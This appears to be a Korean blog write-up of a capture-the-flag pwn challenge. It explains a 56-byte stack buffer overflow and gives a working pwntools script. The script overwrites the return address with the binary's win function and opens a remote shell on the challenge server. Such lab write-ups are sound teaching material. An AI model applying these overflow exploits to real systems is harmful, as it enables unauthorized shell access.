1. 개요
버퍼 오버 플로우 문제
2. 분석
스택의 크기는 0x38(56) byte입니다.
win함수에서 쉘을 실행시킵니다.
56보다 큰 바이트를 입력해서 버퍼 오버 플로우를 일으킵니다.
main함수가 종료되면 RET이 수행되어야하는데 그때 win 함수의 주소를 넣어서 win함수가 실행되어 최종적으로 쉘이 실행되도록 합니다.
3. 코드
from pwn import *
# 1. binary 파일 분석
# 64비트
context.log_level = 'debug'
binfile = './welcome'
e = ELF(binfile)
# 2. 연결
p = remote('pwn.h4ckingga.me', 10001)
p.connected()
# 3. 페이로드 전송
# 스택 크기: 56 byte
# 페이로드 총 64 byte: 쓸모없는 문자 56 byte + win 함수의 주소 little enidian(8 byte)
payload = b'a' * 56 + p64(e.sym['win'])
p.sendline(payload)
# 4. 쉘 인터렉션 실행
p.interactive()
4. 확인
'H4CKING GAME' 카테고리의 다른 글
[H4CKING GAME] - CODE (0) | 2022.08.15 |
---|---|
[H4CKING GAME] - Paint (0) | 2022.08.07 |
[H4CKING GAME] - cat (0) | 2022.08.07 |
[H4CKING GAME] - Hello,Postman (0) | 2022.08.07 |
[H4CKING GAME] - Hello,Postman (0) | 2022.08.07 |